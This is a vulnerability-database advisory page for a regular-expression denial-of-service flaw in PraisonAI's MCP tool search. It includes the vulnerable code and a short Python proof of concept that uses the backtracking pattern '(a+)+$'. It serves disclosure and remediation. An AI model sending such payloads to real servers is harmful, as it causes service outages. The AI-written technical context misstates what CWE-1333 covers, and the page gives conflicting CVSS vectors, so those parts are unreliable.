Python
CVE-2026-34939
HIGH
Vulnerability Assessment
| Weakness |
CWE
ASVS 5.0
V2 - Validation and Business Logic Regex complexity limits
MITRE ATT&CK
1 technique across 1 tactic: Impact The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H) reflects authentication requirement (PR:L), but real-world risk is substantially elevated by two factors: (1) The MCP server HTTP transport runs without API key authentication by default, making PR:L a theoretical requirement that may be bypassed at deployment time, and (2) the attack is trivial to automate and requires no interaction (UI:N). The AC:L (low complexity) and AV:N (network reachable) confirm ease of exploitation. No EPSS or KEV status is provided, but the simplicity of the PoC and the deterministic 376-second blocking time indicate high exploitability probability. From an SSVC perspective: exploitation is straightforward (PoC exists), automatable (simple HTTP request loop), and causes complete availability loss (technical impact is high). The practical risk is HIGH despite the CVSS score of 6.5, because default deployment configurations may eliminate authentication barriers entirely. |
| Exploit ScenarioDerived | An attacker on the network sends an HTTP POST to the MCP server's |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 02, 2026
Denial of service in PraisonAI's MCPToolIndex.search_tools() allows authenticated remote attackers to block the Python thread for hundreds of seconds via a crafted regular expression causing catastrophic backtracking. The vulnerable function compiles caller-supplied query strings directly as regex patterns without validation, timeout, or exception handling. A single malicious request can sustain complete service outage, and the MCP server HTTP transport runs without authentication by default, significantly lowering the practical barrier to exploitation despite the CVSS requiring PR:L.
RemediationAI
Apply vendor patch to sanitize or restrict regex input. The primary fix is to validate the query parameter before regex compilation: reject or escape regex metacharacters, implement a whitelist of allowed search patterns (e.g., simple string literals), or use a safe regex library with configurable backtracking limits (e.g., Python's regex module with timeout parameter). Immediate workaround: wrap the re.compile() and pattern.search() calls in a timeout using signal.alarm() on Unix systems or threading.Timer for cross-platform protection, allowing queries to abort after 1-5 seconds. For deployments: enable HTTP authentication in the MCP server configuration and restrict network access to the tool search endpoint. Users should upgrade to a patched version of PraisonAI once released. See the vendor advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8w9j-hc3g-3g7f for confirmation and any released patch details.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability stems from unsafe regex compilation in Python's re module. When re.compile() processes a maliciously crafted pattern such as (a+)+$ against a string like thirty 'a' characters followed by '!', the regex engine enters catastrophic backtracking - exponential retry paths as quantified groups nest and fail to match. The root cause (CWE-1333: Improper Restriction of Rendered UI Layers or Frames) is actually a misclassification; this is fundamentally CWE-1256 (Regular Expression Denial of Service) or CWE-400 (Uncontrolled Resource Consumption). The Python re module lacks built-in backtracking limits; the standard library regex module offers timeouts via the timeout parameter, but the vulnerable code uses only the default re module. PraisonAI (pip package praisonai version 1.5.87 and earlier) integrates this in tool_index.py:365-368 where the search_tools() method accepts an untrusted query parameter and applies it directly without sanitization or resource limits.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
4DescriptionNVD
Summary
MCPToolIndex.search_tools() compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the re engine, blocking the Python thread for hundreds of seconds and causing a complete service outage.
Details
tool_index.py:365 (source) -> tool_index.py:368 (sink)
# source -- query taken directly from caller, no validation
def search_tools(self, query: str) -> List[ToolInfo]:
import re
# sink -- compiled and applied with no timeout or exception handling
pattern = re.compile(query, re.IGNORECASE)
for tool in self.get_all_tools():
if pattern.search(tool.name) or pattern.search(tool.hint):
matches.append(tool)PoC
# tested on: praisonai==1.5.87 (source install)
# install: pip install -e src/praisonai
import sys, time, json
sys.path.insert(0, 'src/praisonai')
from pathlib import Path
mcp_dir = Path.home() / '.praison' / 'mcp' / 'servers' / 'test_server'
mcp_dir.mkdir(parents=True, exist_ok=True)
(mcp_dir / '_index.json').write_text(json.dumps([
{"name": "a" * 30 + "!", "hint": "a" * 30 + "!", "server": "test_server"}
]))
(mcp_dir / '_status.json').write_text(json.dumps({
"server": "test_server", "available": True, "auth_required": False,
"last_sync": time.time(), "tool_count": 1, "error": None
}))
from praisonai.mcp_server.tool_index import MCPToolIndex
index = MCPToolIndex()
start = time.monotonic()
results = index.search_tools("(a+)+$")
print(f"Returned in {time.monotonic() - start:.1f}s")
# expected output: Returned in 376.0sImpact
A single crafted query blocks the Python thread for hundreds of seconds, causing a complete service outage for the duration. The MCP server HTTP transport runs without an API key by default, making this reachable by any attacker on the network. Repeated requests sustain the DoS indefinitely.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
Affected Products (CPE)NVD
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
GHSA-8w9j-hc3g-3g7f
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB